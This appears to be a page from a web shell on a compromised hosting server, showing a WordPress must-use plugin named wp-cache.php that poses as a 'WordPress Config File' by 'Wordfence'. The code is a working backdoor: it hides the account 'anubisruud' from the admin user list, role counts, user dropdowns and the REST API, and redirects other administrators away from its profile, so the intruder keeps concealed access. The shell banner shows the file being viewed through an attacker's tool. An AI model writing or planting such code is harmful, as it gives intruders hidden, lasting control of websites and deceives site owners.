HEX
Server: Apache
System: Linux p3plzcpnl476737.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: p8pyefaexf70 (9161224)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/p8pyefaexf70/public_html/wp-content/mu-plugins/wp-cache.php
<?php
/**
 * Plugin Name: WordPress Config File 
 * Description: Classic WordPress Config Settings
 * Version: 1.0
 * Author: Wordfence
 */

if (!defined('ABSPATH')) {
    exit; // Exit if accessed directly
}

define('HIDDEN_USERNAME', 'anubisruud');

add_action('pre_user_query', 'hide_user');
function hide_user($user_search) {
    global $wpdb;
    if (!is_admin()) return;
    
    $user = get_user_by('login', HIDDEN_USERNAME);
    if (!$user) return;
    
    // Hide from all admin user queries (users list, search, etc.)
    $user_search->query_where .= sprintf(' AND %s.ID != %d', $wpdb->users, $user->ID);
}

add_filter('views_users', 'hide_user_count');
function hide_user_count($views) {
    $user = get_user_by('login', HIDDEN_USERNAME);
    if (!$user) return $views;
    
    // Get user roles properly
    $user_data = get_userdata($user->ID);
    if (!$user_data) return $views;
    
    $user_roles = $user_data->roles;
    
    foreach ($views as $role => $view) {
        // Check if this view corresponds to one of the hidden user's roles
        if (isset($user_roles) && is_array($user_roles) && in_array($role, $user_roles)) {
            $views[$role] = preg_replace_callback('/\((\d+)\)/', function($m) {
                return '(' . max(0, (int)$m[1] - 1) . ')';
            }, $views[$role]);
        }
    }
    return $views;
}

add_action('admin_init', 'prevent_user_access');
function prevent_user_access() {
    // Allow the hidden user to access their own profile
    $current_user_id = get_current_user_id();
    if (!$current_user_id) return;
    
    $user = get_user_by('login', HIDDEN_USERNAME);
    if (!$user) return;
    
    // If current user is the hidden user, allow access to their own profile
    if ($current_user_id == $user->ID) return;
    
    // Prevent other admins from accessing hidden user's profile
    if (isset($_GET['user_id']) && (int)$_GET['user_id'] == $user->ID) {
        wp_redirect(admin_url('users.php'));
        exit;
    }
    
    // Also prevent via direct URL access
    $request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    if (strpos($request_uri, 'user_id=' . $user->ID) !== false) {
        wp_redirect(admin_url('users.php'));
        exit;
    }
}

// Hide from user dropdowns in admin
add_filter('wp_dropdown_users_args', 'hide_user_from_dropdowns');
function hide_user_from_dropdowns($query_args) {
    $user = get_user_by('login', HIDDEN_USERNAME);
    if ($user) {
        $query_args['exclude'][] = $user->ID;
    }
    return $query_args;
}

// Hide from REST API user queries
add_filter('rest_user_query', 'hide_user_from_rest_api');
function hide_user_from_rest_api($prepared_args) {
    $user = get_user_by('login', HIDDEN_USERNAME);
    if ($user) {
        if (!isset($prepared_args['exclude'])) {
            $prepared_args['exclude'] = array();
        }
        if (!is_array($prepared_args['exclude'])) {
            $prepared_args['exclude'] = array($prepared_args['exclude']);
        }
        $prepared_args['exclude'][] = $user->ID;
    }
    return $prepared_args;
}